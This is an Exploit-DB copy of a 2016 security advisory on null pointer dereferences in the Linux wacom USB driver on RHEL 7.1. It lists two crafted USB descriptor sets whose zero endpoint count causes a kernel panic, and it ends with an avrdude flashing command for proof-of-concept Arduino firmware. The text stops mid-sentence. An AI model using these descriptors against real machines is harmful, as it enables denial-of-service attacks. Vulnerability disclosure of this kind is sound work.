Exploit-DB #39538
Description: Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'Wacom' Multiple Nullpointer Dereferences
Type: dos
Platform: linux
Date: 2016-03-09
Author: OpenSource Security

Exploit:
OS-S Security Advisory 2016-11
Linux wacom multiple Nullpointer Dereferences

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Multiple Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on 
invalid USB device descriptors (wacom driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net/advisories/OSS-2016-11_wacom.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of buggy USB 
device requiring the wacom driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
These bugs were found using the USB-fuzzing framework vUSBf from Sergej 
Schumilo
(github.com/schumilo) using the following device descriptors:

[*] Device-Descriptor #1
bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x56a
idProduct:	0x3
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing the malicious value for 
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the 
system.

[*] Configuration-Descriptor
bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1
bConfigurationValue:	0x1
iConfiguration:	0x0
bmAttributes:	0x0
bMaxPower:	0x31
[*] Interface-Descriptor
bLength:	0x9
bDescriptorType:	0x4
bInterfaceNumber:	0x0
bAlternateSetting:	0x0
bNumEndpoints:	0x0
bInterfaceClass:	0x0
bInterfaceSubClass:	0x0
bInterfaceProtocol:	0x0
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x81	
bmAttribut:	0x3	
wMaxPacketSize:	0x404
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x1	
bmAttribut:	0x2	
wMaxPacketSize:	0x4
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x82	
bmAttribut:	0x2
wMaxPacketSize:	0x4
bInterval:	0xc

The wacom driver assumes that there will be at least one endpoint-descriptor.
If the interface-descriptor contains a zero-value for bNumEndpoints or no 
endpoint-descriptor is provided, the driver tries to dereference a null-
pointer and the kernel crashes:

****
$ nm wacom.ko.debug | grep wacom_probe[PII_REDACTED]0054a0 t wacom_probe
$ addr2line -e wacom.ko.debug 0x5A22
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_
64/drivers/input/tablet/wacom_sys.c:1367
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-
sys.c)
...
1308
1309 endpoint = &intf->cur_altsetting->endpoint[0].desc; /* might be null-
pointer */
1310
...
1365
1366 usb_fill_int_urb(wacom->irq, dev,
1367 usb_rcvintpipe(dev, endpoint->bEndpointAddress), /* possible 
null-pointer dereference */
1368 wacom_wac->data, features->pktlen,
1369 wacom_sys_irq, wacom, endpoint->bInterval);
1370 wacom->irq->transfer_dma = wacom->data_dma;
...
****

[*] Device-Descriptor #2
bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x56a
idProduct:	0x90
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing the malicious value for 
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the 
system.

[*] Configuration-Descriptor
bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1
bConfigurationValue:	0x1
iConfiguration:	0x0
bmAttributes:	0x0
bMaxPower:	0x31
[*] Interface-Descriptor
bLength:	0x9
bDescriptorType:	0x4
bInterfaceNumber:	0x0
bAlternateSetting:	0x0
bNumEndpoints:	0x0
bInterfaceClass:	0x0
bInterfaceSubClass:	0x0
bInterfaceProtocol:	0x0
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x81	
bmAttribut:	0x3	
wMaxPacketSize:	0x404
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x1	
bmAttribut:	0x2	
wMaxPacketSize:	0x4
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x82	
bmAttribut:	0x2
wMaxPacketSize:	0x4
bInterval:	0xc

The wacom driver assumes that there will be at least one endpoint-descriptor.
If the interface-descriptor contains a zero-value for bNumEndpoints or no 
endpoint-descriptor is provided, the driver tries to dereference a null-
pointer and the kernel crashes:

****
$ nm wacom.ko.debug | grep wacom_probe[PII_REDACTED]0054a0 t wacom_probe
$ addr2line -e wacom.ko.debug 0x5756
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_
64/drivers/input/tablet/wacom_sys.c:599
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-
sys.c)
...
597 error = usb_get_extra_descriptor(interface, HID_DEVICET_HID, &hid_desc);
598 if (error) {
599 error = usb_get_extra_descriptor(&interface->endpoint[0], /* possible 
null-pointer dereference */
600 HID_DEVICET_REPORT, &hid_desc);
...
****

Proof of Concept:
For a proof of concept, we are providing two Arduino Leonardo firmware files. 
These firmware files will emulate defective USB devices.

avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex

Firmware files have been atta